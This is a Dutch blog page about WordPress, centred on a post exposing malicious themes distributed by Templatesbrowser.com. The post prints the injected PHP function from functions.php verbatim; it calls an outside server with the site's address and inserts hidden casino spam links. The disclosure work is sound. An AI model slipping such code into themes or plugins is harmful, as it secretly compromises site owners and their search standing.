Werk in uitvoering

Sinds enkele dagen draait deze site bij wijze van experiment op WordPress MU, waarmee je verschillende WordPress-websites vanuit één installatie kunt onderhouden.
Read more

Templatesbrowser.com en de blogosfeer

Het blijft altijd weer curieus hoe nieuws zich verspreidt over de hele wereld. Zo’n drie maanden ontdekte Onno’s Follow That Page een rare link in mijn site en had ik na drie kwartier speuren en puzzelen genoeg bewijsmateriaal verzameld om de boosdoener aan te wijzen: de website Templatesbrowser.com verspreidt kwaadaardige WordPress-themes.

Een enorme beveiligingsinbreuk, maar het door Onno vertaalde bericht werd totaal niet opgepikt door de blogosfeer, ook niet na berichtjes op Digg en eKudos. Nu toch wel: in juni kwamen Joomla-gebruikers erachter dat Templatesbrowser.com niet te vertrouwen is en via deze omweg begint nu ook eindelijk de WordPress-wereld wakker te worden, lees bijvoorbeeld dit en dit. Ook een nieuw berichtje op Digg krijgt volle aandacht: WARNING! WordPress & Joomla; your theme might have malicious code. Is het het woordje WARNING waardoor internetters er nu wel aandacht aan besteden?

Verborgen linkspam van Templatesbrowser.com in WordPress-weblogs

Vorige maand roemde ik op deze plek de duizenden gratis WordPress-themes die je kunt downloaden om je weblog op te tuigen. Maar pas op: dankzij broer Onno en zijn onvolprezen dienst Follow That Page ontdekte ik vanmiddag dat sommige themes ook iets anders doen: verborgen links toevoegen naar casino-, hotel- en andere sites – kortom linkspam. En dit is de site die daarvoor verantwoordelijk is: www.templatesbrowser.com/wordpress-themes/.

Hoe werkt Templatesbrowser.com?
Op deze site kun je meer dan honderd gratis WordPress-themes downloaden. Deze themes zijn weer afkomstig van andere sites, maar uit de tien willekeurige themes die ik heb gedownload blijkt dat er is een sneaky stukje PHP-code toegevoegd aan het bestand functions.php:

function credits()
{
$url = “http://get.templatesbrowser.com/wp.php?” .
“url=” . urlencode($_SERVER['REQUEST_URI']) . “&” . “host=” . urlencode($_SERVER['HTTP_HOST']);
$check = @fsockopen(”get.templatesbrowser.com”, 80, $errno, $errstr, 3);
if($check)
{
@readfile($url);
fclose($check);
}
}

Voor wie geen PHP kent: deze functie legt contact met get.templatesbrowser.com en geeft daarbij het adres van je eigen site mee. Bijvoorbeeld:

http://get.templatesbrowser.com/wp.php?url=%2F&host=www.laterna.nl

In mijn geval geeft de server de volgende code terug:

<div id=”copyl” style=”display: none;”><a href=”http://www.casinotropez.com/trcpromo-nincs-online-pmail18-fr”>casino en ligne</a></div>

Dit is de HTML-code van een link naar een site die ik niet ken en waar ik ook niets mee te maken wil hebben. Dankzij de CSS-toevoeging ‘display: none’ is die onzichtbaar opgemaakt. Deze code wordt onderaan elke WordPress-pagina toegevoegd. Dat gebeurt in het bestand footer.php:

<?php credits(); wp_footer(); ?>

Het geniepige is dat het contact met templatesbrowser.com alleen lijkt te werken vanuit een WordPress-weblog. Als ik bovenstaand webadres zelf invul in mijn browser, dan wordt er geen HTML-code teruggegeven.

Ook merk ik dat het uitmaakt op welk adres je weblog staat. Als ik urlencode($_SERVER['HTTP_HOST']) simpelweg vervang door www.google.com of www.startpagina.nl, dan wordt er geen verborgen link teruggegeven, maar helemaal niets, of iets onschuldigs als

<!– T-B –>

Ook zit er een random element in: als je op F5 drukt, verandert soms de code.

Een hogere PageRank?
Templatesbrowser.com doet dit klaarblijkelijk om sommige sites een hogere PageRank te bezorgen. Toch lijkt het me niet waarschijnlijk dat Google erin trapt. De manier waarop de link onzichtbaar is gemaakt (style=”display: none;”) is simpelweg té doorzichtig. Maar als Google inderdaad doorheeft dat het hier linkspam betreft, dan loopt de eigenaar van de weblog het risico om hiervoor gestraft te worden. Door de aard van PHP (een server-side scriptingtaal waarvan Google alleen de uitvoer ziet, niet de bron) is niet zichtbaar dat de betreffende HTML door een heel andere site wordt gegenereerd.

Het risico?
Uit het bovenstaande blijkt dat het downloaden van een WordPress-theme een zeker beveiligingsrisico inhoudt. Zoals gezegd bestaat zo’n theme niet alleen uit CSS-opmaak, maar ook uit extra PHP-code. Welke WordPress-gebruiker neemt de moeite om die meegeleverde PHP-code regel voor regel uit te vlooien alvorens een theme te installeren? PHP kan bovendien veel ernstiger dingen doen dan alleen maar een verborgen link in je site stoppen.

Al met al vind ik dit toch wel een belangrijk minpunt van WordPress. Voor zover ik kan nagaan, is het in Movable Type niet mogelijk om malicieuze code te stoppen in een template. Al met al lijkt de architectuur van WordPress meer op flexibiliteit gericht, minder op beveiliging.

Een simpele zakelijke website met WordPress

Na een e-mailwisseling met een opdrachtgever ben ik de laatste week aan het experimenteren geslagen met WordPress, dat ik eerder deze maand vergeleek met MovableType.

Ik schreef dat je WordPress niet alleen voor weblogs kunt gebruiken, maar ook als een simpel contentmanagementsysteem voor een bescheiden zakelijke website. Is het inderdaad zo simpel, vroeg die opdrachtgever zich af?

Mijn eerste test is te bekijken op www.klog.nl. Het enige wat ik nog niet voor elkaar heb, is de volgorde van de statische pagina’s rechts. Waarschijnlijk zie ik hierbij iets heel simpels over het hoofd.

De volgende stap: een theme downloaden en kijken hoe deze testsite met voornamelijk statische pagina’s er dan uit komt te zien. Wordt vervolgd!

WordPress vs. Movable Type: de vergelijking

Zoals vorige maand beloofd zal ik hier mijn eerste ervaringen posten met het weblogsysteem WordPress. Ik zal die gelijk afzetten tegen concurrent Movable Type, dat ik al vier jaar gebruik, met name voor Tweevoeter. Ga er maar even voor zitten, want dit wordt een lang verhaal. Read more